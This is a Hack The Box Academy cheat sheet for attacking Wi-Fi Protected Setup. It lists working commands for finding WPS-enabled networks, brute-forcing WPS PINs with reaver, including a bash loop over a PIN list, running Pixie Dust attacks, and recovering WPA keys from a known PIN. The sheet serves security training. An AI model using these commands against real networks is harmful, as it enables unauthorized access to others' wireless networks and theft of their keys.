HACKTHEBOX

ATTACKING WI-FI PROTECTED SETUP

CHEAT SHEET

WPS Reconnaissance

Command	Description
`airmon-ng start wlan0`	Enable Monitor Mode.
`airodump-ng --wps wlan0mon`	Enumerate available Wi-Fi networks with WPS using airodump-ng.
`wash -i wlan0mon`	Enumerate available Wi-Fi networks with WPS using wash.
`wash -j -i wlan0mon`	Enumerate available Wi-Fi networks with WPS using wash with verbose output.
`grep -i "84-1B-5E" /var/lib/ieee-data/oui.txt`	Vendor lookup using BSSID.

Online PIN Brute-Forcing Attacks

Command	Description
`iw dev wlan0 interface add mon0 type monitor` `ifconfig mon0 up`	Add new monitor mode interface.
`reaver -i mon0 -b AE:EB:B0:11:A0:1E -c 1`	WPS PIN Bruteforce using reaver.

Command	Description
`reaver -i mon0 -b B2:A5:1D:E1:B2:11 -c 1 -p 1234`	WPS PIN Bruteforce using half known PIN.
`reaver -b 5A:1A:59:B7:E7:97 -c 1 -i mon0 -p " "`	WPS Null PIN Authentication.
`sudo reaver -i mon0 -b 60:38:E0:2A:4F:21 -p 88766197`	Retrieve WPA-PSK using a Known PIN.
`wpspin -A 60:38:E0:A2:3D:2A`	WPS pin generation using BSSID.

`#!/bin/bash`
`PINS='73834410 94229882 73834410'`
`for PIN in $PINS`
`do`
`  echo Attempting PIN: $PIN`
`  sudo reaver --max-attempts=1 -l 100 -r 3:45 -i mon0 -b 60:38:E0:A2:3D:2A -c 1 -p $PIN`
`done`
`echo "PIN Guesses Complete"`
	Bash script to Bruteforce WPS pins using a PIN list.

Offline PIN Brute Forcing Attacks

Command	Description
`reaver -K 1 -vvv -b 86:FC:9F:5D:67:4E -c 1 -i mon0`	Perform Pixie Dust attack using Reaver.
`python3 oneshot.py -b 86:FC:9F:5D:67:4E -i wlan0mon -K`	Perform Pixie Dust attack using OneShot.

Misc WPS Attacks

Command	Description
`wpa_cli scan_results`	Scan for available WiFi networks.
`wpa_cli wps_pbc D8:D6:3D:EB:29:D5`	Connect to WPS wifi network using wpa_cli with PBC method.

Command	Description
`python3 /opt/OneShot/oneshot.py -i wlan0mon --pbc`	Connect to WPS wifi network using OneShot with PBC method.
`sudo reaver -l 100 -r 3:45 -i wlan0mon -b 60:38:E0:XX:XX:XX`	Bruteforce WPS PIN using reaver with lock delay of 100 seconds and sleep for 45 seconds every 3 pin attempts

HTB ACADEMY CHEATSHEET